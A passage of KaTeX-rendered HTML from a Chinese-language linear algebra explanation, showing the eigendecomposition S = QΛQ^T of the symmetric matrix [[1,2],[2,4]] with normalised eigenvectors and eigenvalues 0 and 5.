displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> x_2 = \begin{bmatrix} 1 \\ 2 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span>。</p></li><li><p>归一化特征向量：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>5</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>5</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">q_1 = \frac{1}{\sqrt{5}} \begin{bmatrix} 2 \\ -1 \end{bmatrix}, q_2 = \frac{1}{\sqrt{5}} \begin{bmatrix} 1 \\ 2 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">5</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">5</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></li><li><p>组成矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span></span></span></span>：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>Q</mi><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>5</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mi mathvariant="normal">Λ</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">Q = \frac{1}{\sqrt{5}} \begin{bmatrix} 2 &amp; 1 \\ -1 &amp; 2 \end{bmatrix}, \Lambda = \begin{bmatrix} 0 &amp; 0 \\ 0 &amp; 5 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">5</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></li></ol><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>S</mi><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>5</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mfrac><mn>1</mn><msqrt><mn>5</mn></msqrt></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>4</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">S = Q \Lambda Q^T = \frac{1}{\sqrt{5}} \begin{bmatrix} 2 &amp; 1 \\ -1 &amp; 2 \end{bmatrix} \begin{bmatrix} 0 &amp; 0 \\ 0 &amp; 5 \end{bmatrix} \frac{1}{\sqrt{5}} \begin{bmatrix} 2 &amp; -1 \\ 1 &amp; 2 \end{bmatrix} = \begin{bmatrix} 1 &amp; 2 \\ 2 &amp; 4 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0858em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">5</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">5</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">5</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span 